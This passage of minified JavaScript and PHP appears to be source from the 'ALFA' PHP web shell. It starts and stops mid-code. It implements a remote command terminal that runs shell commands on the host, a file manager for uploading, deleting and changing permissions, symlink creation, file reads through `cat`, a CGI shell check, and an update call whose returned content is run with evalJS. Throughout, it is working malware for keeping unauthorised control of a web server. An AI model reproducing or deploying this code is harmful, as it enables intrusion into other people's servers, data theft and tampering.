e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\\"d.querySelector(\'#"+i+\' .php-terminal-input\\\').value = this.innerHTML;" class="history-cmd-line">\'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",\'<div class="symlink_path" id="link_id_\'+a+\'">\'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML=\'<img draggable="false" title="\'+t.server.name+\'" src="http://solevisible.com/images/flags/48/\'+t.server.code.toLowerCase()+\'.png">\',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML=\'<img draggable="false" title="\'+t.client.name+\'" src="http://solevisible.com/images/flags/48/\'+t.client.code.toLowerCase()+\'.png">\',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor(\'"+a+"\',\'"+c+"\',\'\',\'\',\'\',\'file\')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm(\'Are You Sure For Delete # "+a+" # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'"+a+"\') : \'\';");break;case"download":s.setAttribute("onclick","g(\'FilesTools\',null,\'"+a+"\', \'download\')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="<?php echo $_SERVER["DOCUMENT_ROOT"]; ?>/",m=(c_+"/"+a).replace(/\\/\\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\\/\\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",\'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="\'+l+\'" id="filesman_tab_\'+o+\'" fm_id="\'+o+\'" onclick="filesmanTabController(this);" fname="\'+t+\'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">\'+i+\'</span> <img fm_id="\'+o+\'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>\'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",\'<div style="position:relative;" fm_id="\'+o+\'" id="filesman_holder_\'+o+\'" class="ajaxarea"><div class="header"></div></div>\'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\\{version\\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),<?php echo $GLOBALS["need_to_update_header"]; ?>?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?\'<span class="header_values" style="margin-left: 4px;">\'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();\r\n</script>\r\n</body>\r\n</html>\r\n<?php\r\n}}\r\nif (!function_exists("posix_getpwuid") && (strpos(@ini_get(\'disable_functions\'), \'posix_getpwuid\')===false)) {\r\nfunction posix_getpwuid($p) {return false;} }\r\nif (!function_exists("posix_getgrgid") && (strpos(@ini_get(\'disable_functions\'), \'posix_getgrgid\')===false)) {\r\nfunction posix_getgrgid($p) {return false;} }\r\nfunction alfaWhich($p) {\r\n$path = alfaEx(\'which \' . $p,false,false);\r\nif(!empty($path))\r\nreturn strlen($path);\r\nreturn false;\r\n}\r\nfunction alfaSize($s) {\r\nif($s >= 1073741824)\r\nreturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\r\nelseif($s >= 1048576)\r\nreturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\r\nelseif($s >= 1024)\r\nreturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\r\nelse\r\nreturn $s . \' B\';\r\n}\r\nfunction alfaPerms($p) {\r\nif (($p & 0xC000) == 0xC000)$i = \'s​\';\r\nelseif (($p & 0xA000) == 0xA000)$i = \'l​\';\r\nelseif (($p & 0x8000) == 0x8000)$i = \'-​\';\r\nelseif (($p & 0x6000) == 0x6000)$i = \'b​\';\r\nelseif (($p & 0x4000) == 0x4000)$i = \'d​\';\r\nelseif (($p & 0x2000) == 0x2000)$i = \'c​\';\r\nelseif (($p & 0x1000) == 0x1000)$i = \'p​\';\r\nelse $i = \'u​\';\r\n$i .= (($p & 0x0100) ? \'r​\' : \'-\');\r\n$i .= (($p & 0x0080) ? \'w​\' : \'-\');\r\n$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s​\' : \'x​\' ) : (($p & 0x0800) ? \'S​\' : \'-\'));\r\n$i .= (($p & 0x0020) ? \'r​\' : \'-\');\r\n$i .= (($p & 0x0010) ? \'w​\' : \'-\');\r\n$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s​\' : \'x​\' ) : (($p & 0x0400) ? \'S​\' : \'-\'));\r\n$i .= (($p & 0x0004) ? \'r​\' : \'-\');\r\n$i .= (($p & 0x0002) ? \'w​\' : \'-\');\r\n$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t​\' : \'x​\' ) : (($p & 0x0200) ? \'T​\' : \'-\'));\r\nreturn $i;\r\n}\r\nfunction alfaPermsColor($f,$isbash=false){\r\n$class = "";\r\n$num = "";\r\n$human = "";\r\nif($isbash){\r\n$class = $f["class"];\r\n$num = $f["num"];\r\n$human = $f["human"];\r\n}else{\r\n$num = substr(sprintf(\'%o\', @fileperms($f)),-4);\r\n$human = alfaPerms(@fileperms($f));\r\nif(!@is_readable($f))\r\n$class = "main_red_perm";\r\nelseif (!@is_writable($f))\r\n$class = "main_white_perm";\r\nelse\r\n$class = "main_green_perm";\r\n}\r\nreturn \'<span style="font-weight:unset;" class="\'.$class.\'">\'.$num.\'</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="\'.$class.\'">\'.$human.\'</span>\';\r\n}\r\nif(!function_exists("scandir")) {\r\nfunction scandir($dir) {\r\n$dh = opendir($dir);\r\nwhile (false !== ($filename = readdir($dh)))\r\n$files[] = $filename;\r\nreturn $files;\r\n}\r\n}\r\nfunction reArrayFiles($file_post){\r\n$file_ary = array();\r\n$file_count = count($file_post[\'name\']);\r\n$file_keys = array_keys($file_post);\r\nfor ($i=0; $i<$file_count; $i++) {\r\nforeach ($file_keys as $key) {\r\n$file_ary[$i][$key] = $file_post[$key][$i];\r\n}\r\n}\r\nreturn $file_ary;\r\n}\r\nfunction _alfa_can_runCommand($cgi=true,$cache=true){\r\n\tif(isset($_COOKIE["alfa_canruncmd"])&&$cache){\r\n\t\treturn true;\r\n\t}\r\n\tif(strlen(alfaEx("whoami",false,$cgi))>0){\r\n\t\t$_COOKIE["alfa_canruncmd"] = true;\r\n\t\treturn true;\r\n\t}\r\n\treturn false;\r\n}\r\nfunction _alfa_symlink($target, $link){\r\n\t$phpsym = function_exists("symlink");\r\n\tif($phpsym){\r\n\t\t@symlink($target, $link);\r\n\t}else{\r\n\t\talfaEx("ln -s \'".addslashes($target)."\' \'".addslashes($link)."\'");\r\n\t}\r\n}\r\nfunction _alfa_file_exists($file,$cgi=true){\r\n\tif(@file_exists($file)){\r\n\t\treturn true;\r\n\t}else{\r\n\t\tif(strlen(alfaEx("ls -la \'".addslashes($file)."\'",false,$cgi))>0){\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\nfunction _alfa_file($file,$cgi=true){\r\n\t$array = @file($file);\r\n\tif(!$array){\r\n\t\tif(strlen(alfaEx("id",false,$cgi))>0){\r\n\t\t\t$data = alfaEx(\'cat "\'.addslashes($file).\'"\',false,$cgi);\r\n\t\t\tif(strlen($data)>0){\r\n\t\t\t\treturn explode("\\n", $data);\r\n\t\t\t}else{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}else{\r\n\t\treturn $array;\r\n\t}\r\n}\r\nfunction _alfa_is_writable($file){\r\n\t$check = false;\r\n\t$check = @is_writable($file);\r\n\tif(!$check){\r\n\t\tif(_alfa_can_runCommand()){\r\n\t\t\t$check = alfaEx(\'[ -w "\'.trim(addslashes($file)).\'" ] && echo "yes" || echo "no"\');\r\n\t\t\tif($check == "yes"){\r\n\t\t\t\t$check = true;\r\n\t\t\t}else{\r\n\t\t\t\t$check = false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $check;\r\n}\r\nfunction _alfa_is_dir($dir,$mode="-d"){\r\n\t$check = false;\r\n\t$check = @is_dir($dir);\r\n\tif($mode == "-e"){\r\n\t\t$check = @is_file($dir);\r\n\t}\r\n\tif(!$check){\r\n\t\tif(_alfa_can_runCommand()){\r\n\t\t\t$check = alfaEx(\'[ "\'.trim($mode).\'" "\'.trim(addslashes($dir)).\'" ] && echo "yes" || echo "no"\');\r\n\t\t\tif($check == "yes"){\r\n\t\t\t\treturn true;\r\n\t\t\t}else{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $check;\r\n}\r\nfunction _alfa_load_ace_options($base){\r\n\treturn \'<span>Theme: </span><select class="ace-controler ace-theme-selector" base="\'.$base.\'" onChange="alfaAceChangeSetting(this,\\\'theme\\\');"><option value="terminal" selected>terminal</option><option value="ambiance">ambiance</option><option value="chaos">chaos</option><option value="chrome">chrome</option><option value="clouds">clouds</option><option value="clouds_midnight">clouds_midnight</option><option value="cobalt">cobalt</option><option value="crimson_editor">crimson_editor</option><option value="dawn">dawn</option><option value="dracula">dracula</option><option value="dreamweaver">dreamweaver</option><option value="eclipse">eclipse</option><option value="github">github</option><option value="gob">gob</option><option value="gruvbox">gruvbox</option><option value="idle_fingers">idle_fingers</option><option value="iplastic">iplastic</option><option value="katzenmilch">katzenmilch</option><option value="kr_theme">kr_theme</option><option value="kuroir">kuroir</option><option value="merbivore">merbivore</option><option value="merbivore_soft">merbivore_soft</option><option value="mono_industrial">mono_industrial</option><option value="monokai">monokai</option><option value="nord_dark">nord_dark</option><option value="pastel_on_dark">pastel_on_dark</option><option value="solarized_dark">solarized_dark</option><option value="solarized_light">solarized_light</option><option value="sqlserver">sqlserver</option><option value="textmate">textmate</option><option value="tomorrow">tomorrow</option><option value="tomorrow_night">tomorrow_night</option><option value="tomorrow_night_blue">tomorrow_night_blue</option><option value="tomorrow_night_bright">tomorrow_night_bright</option><option value="tomorrow_night_eighties">tomorrow_night_eighties</option><option value="twilight">twilight</option><option value="vibrant_ink">vibrant_ink</option><option value="xcode">xcode</option></select><span>Language: </span><select class="ace-controler" base="\'.$base.\'" onChange="alfaAceChangeSetting(this,\\\'lang\\\');"><option value="php">php</option><option value="python">python</option><option value="perl">perl</option><option value="c_cpp">c/c++</option><option value="csharp">c#</option><option value="ruby">ruby</option><option value="html">html</option><option value="javascript">javascript</option><option value="css">css</option><option value="xml">xml</option><option value="sql">sql</option><option value="swift">swift</option><option value="sh">bash</option><option value="lua">lua</option><option value="powershell">powershell</option><option value="jsp">jsp</option><option value="java">java</option><option value="json">json</option><option value="plain_text">plain_text</option></select><span>Soft Wrap: </span><input type="checkbox" name="wrapmode" class="ace-controler" onClick="alfaAceChangeWrapMode(this,\\\'\'.$base.\'\\\');" checked> | <span>Font Size: </span><button class="ace-controler" style="cursor:pointer;" onclick="alfaAceChangeFontSize(\\\'\'.$base.\'\\\',\\\'+\\\', this);return false;">+</button> | <button style="cursor:pointer;" class="ace-controler" onclick="alfaAceChangeFontSize(\\\'\'.$base.\'\\\', \\\'-\\\', this);return false;">-</button> | \';\r\n}\r\nfunction alfaFilesMan2(){\r\n\talfahead();\r\n\tAlfaNum(8,9,10,7,6,5,4);\r\n\techo \'<div style="position:relative;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content"><div class="header"></div></div>\';\r\n\talfaFooter();\r\n}\r\nfunction copy_paste($c,$s,$d){\r\nif(@is_dir($c.$s)){\r\n@mkdir($d.$s);\r\n$h = @opendir($c.$s);\r\nwhile (($f = @readdir($h)) !== false)\r\nif (($f != ".") and ($f != ".."))\r\ncopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n} elseif(is_file($c.$s))\r\n@copy($c.$s, $d.$s);\r\n}\r\nfunction alfaFilesMan(){\r\nif(!empty ($_COOKIE[\'alfa_f\']))\r\n$_COOKIE[\'alfa_f\'] = @unserialize($_COOKIE[\'alfa_f\']);\r\nif(!empty($_POST[\'alfa1\'])){\r\nswitch($_POST[\'alfa1\']){\r\ncase \'uploadFile\':\r\n$move_cmd_file = false;\r\n$alfa_canruncmd = false;\r\nif($GLOBALS[\'glob_chdir_false\']){\r\n\t$alfa_canruncmd = _alfa_can_runCommand(true,true);\r\n\t$move_cmd_file = true;\r\n}\r\nif(_alfa_is_writable($GLOBALS[\'cwd\'])){\r\n$files = reArrayFiles($_FILES[\'f\']);\r\n$ret_files = array();\r\nforeach($files as $file){\r\nif($move_cmd_file&&$alfa_canruncmd){\r\n\talfaEx("cat \'".addslashes($file[\'tmp_name\'])."\' > \'".addslashes($_POST["c"]."/".$file[\'name\'])."\'");\r\n}else{\r\n\tif(@move_uploaded_file($file[\'tmp_name\'],$file[\'name\'])){\r\n\t\t$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($file[\'name\'])):array("name" => "????");\r\n\t\t$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($file[\'name\'])):array("name" => "????");\r\n\t\t$file_owner = $ow[\'name\']?$ow[\'name\']:(function_exists("fileowner")?@fileowner($file[\'name\']):"????");\r\n\t\t$file_group = $gr[\'name\']?$gr[\'name\']:(function_exists("filegroup")?@filegroup($file[\'name\']):"????");\r\n\t\t$file_modify = @date(\'Y-m-d H:i:s\', @filemtime($file[\'name\']));\r\n\t\t$file_perm = alfaPermsColor($file[\'name\']);\r\n\t\t$file_size = @filesize($file[\'name\']);\r\n\t\t$ret_files[] = array("name" => $file[\'name\'], "size" => alfaSize($file_size), "perm" => $file_perm, "modify" => $file_modify, "owner" => $file_owner."/".$file_group);\r\n\t}\r\n}\r\n}\r\nif(!$move_cmd_file){\r\n\techo json_encode($ret_files);\r\n}\r\n}else{\r\n\techo "noperm";\r\n\treturn;\r\n}\r\nif(!$move_cmd_file){\r\nreturn;\r\n}\r\nbreak;\r\ncase \'mkdir\':\r\n$new_dir_cmd = false;\r\nif($GLOBALS[\'glob_chdir_false\']){\r\n\tif(_alfa_can_runCommand(true,true)){\r\n\t\tif(_alfa_is_writable($GLOBALS[\'cwd\'])){\r\n\t\t\tif(!_alfa_is_dir(trim($_POST[\'alfa2\']))){\r\n\t\t\t\talfaEx("cd \'".trim(addslashes($_POST[\'c\']))."\';mkdir \'".trim(addslashes($_POST[\'alfa2\']))."\'");\r\n\t\t\t\techo "<script>alfaShowNotification(\'".addslashes($_POST[\'alfa2\'])." created...\', \'Files manager\');</script>";\r\n\t\t\t}else{\r\n\t\t\t\techo "<script>alfaShowNotification(\'folder already existed\', \'Files manager\', \'error\');</script>";\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\techo "<script>alfaShowNotification(\'folder isnt writable !\', \'Files manager\', \'error\');</script>";\r\n\t\t}\r\n\t}else{\r\n\t\techo "<script>alfaShowNotification(\'Can\\\'t create new dir 